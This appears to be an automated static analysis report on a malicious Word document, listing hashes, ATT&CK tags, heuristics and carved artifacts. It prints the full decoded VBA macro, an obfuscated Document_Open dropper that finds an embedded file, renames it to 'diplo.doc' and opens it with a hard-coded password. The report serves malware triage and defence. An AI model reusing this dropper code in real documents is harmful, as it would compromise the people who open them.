Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5946749f2e2eb8df…

MALICIOUS

Office (OLE)

339.5 KB Created: 2021-09-21 09:22:00 Authoring application: Microsoft Office Word First seen: 2021-10-02
MD5: 333b5d0c13da084215232de75eb55a94 SHA-1: 2c724da909545c8fa263b4c17013b54e3150000e SHA-256: 5946749f2e2eb8dfe48e7a482a77522e6efdfb01928877bc3e9b712371810768
72 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Word document containing VBA macros. The Document_Open macro is designed to check for the existence of a file named 'diplo.doc' in the user's template path. If it does not exist, it proceeds to call other subroutines which appear to be involved in dropping and potentially executing this file. The macro also attempts to write an entry to the Run key, likely for persistence. The presence of the 'EMBED Package' text and the ole-package artifact suggests the document is a container for another file.

Heuristics 5

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/2006/encryption In document text (OLE body)
    • http://schemas.microsoft.com/office/2006/keyEncryptor/passwordIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/keyEncryptor/certificateIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3181 bytes
SHA-256: 410de0c41bd6d48af1dd27bd18c31a811f05600ec2f2879199e15817047f8d5f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Dim abrakadabra As String
abrakadabra = "o"
abrakadabra = abrakadabra & "c"
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & "\diplo.d" & abrakadabra) = "" Then
 
    Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv, kytrewwf)
Call pppx(kytrewwf & "\diplo.d" & abrakadabra)




End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub



Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
Dim lkvc As String
lkvc = spoc
    Documents.Open FileName:=lkvc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub


Attribute VB_Name = "Module3"

Sub bvxfcsd()
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49
Dim vv1, vv2, vv3, vv4, fafaa As String
vv1 = "Lo"
vv2 = "cal/"
vv3 = "Te"
vv4 = "mp"
Dim kuls As String

kuls = vv1 & vv2 & vv3 & vv4


fafaa = kuls
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub






Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
 Dim siplo As String
siplo = "o"
siplo = siplo & "e"
    Dim Ters As Object
  Dim fffff
  fffff = "diplo.i" & siplo
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim abrakadabra As String
abrakadabra = "o"
abrakadabra = abrakadabra & "c"
Dim oxl
oxl = "\diplo.d" & abrakadabra
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub












Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1693695878/Ole10Native 162104 bytes
SHA-256: f502b64abd1a28406e4788de3ff0575aeaf0d7b6afb676709d2898872abb3c62
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.95, consistent with packed or encrypted content.
ole10native_00_diplo.ioe ole-package-payload OLE Ole10Native payload: ObjectPool/_1693695878/Ole10Native; display_name=diplo.ioe; full_path=C:\Users\MyPc\AppData\Local\Temp\diplo.ioe; temp_path=; def_file= 161792 bytes
SHA-256: 36dd375430fa72013499b1e8eb5e791ea56d7acfcafafde85368e6520ca906a5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.96, consistent with packed or encrypted content.